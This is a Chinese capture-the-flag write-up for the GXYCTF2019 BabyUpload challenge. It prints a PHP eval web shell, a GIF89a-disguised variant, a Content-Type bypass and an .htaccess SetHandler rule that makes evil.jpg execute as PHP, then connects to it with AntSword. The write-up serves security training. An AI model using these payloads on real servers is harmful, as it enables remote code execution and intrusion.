[GXYCTF2019]BabyUpload（.htaccess）
【摘要】 evil.php<?php eval($_POST['evil'])?>后缀名进行了限制抓包将.php更改为.jpg仍然上传失败将Content-type更改为image/jpeg检查了文件内容了换一种写法GIF89a? <script language="php">eval($_POST['evil'])</script>上传成功，但是无法解析为php使用.htaccess或者.user....
evil.php
<?php eval($_POST['evil'])?>
后缀名进行了限制
抓包
将.php更改为.jpg
仍然上传失败
将Content-type更改为image/jpeg
检查了文件内容了
换一种写法
GIF89a? <script language="php">eval($_POST['evil'])</script>
上传成功，但是无法解析为php
使用.htaccess或者.user.ini
.htaccess
<FilesMatch "evil.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
一定不要加文件头(有些绕过可能会用到，但是这样.htaccess就无法发挥作用了)
GIF89a?
<FilesMatch "evil.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
意思是如果文件中有一个evil.jpg的文件，他就会被解析为.php
antsword连接即可
http://15ccf58c-c29f-4373-9046-e65dd92d9e33.node4.buuoj.cn:81/upload/021c567e8444d1f468bc1986e178fe5d/evil.jpg
【版权声明】本文为华为云社区用户原创内容，转载时必须标注文章的来源（华为云社区）、文章链接、文章作者等基本信息， 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容，欢迎发送邮件进行举报，并提供相关证据，一经查实，本社区将立刻删除涉嫌侵权内容，举报邮箱：
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论（0）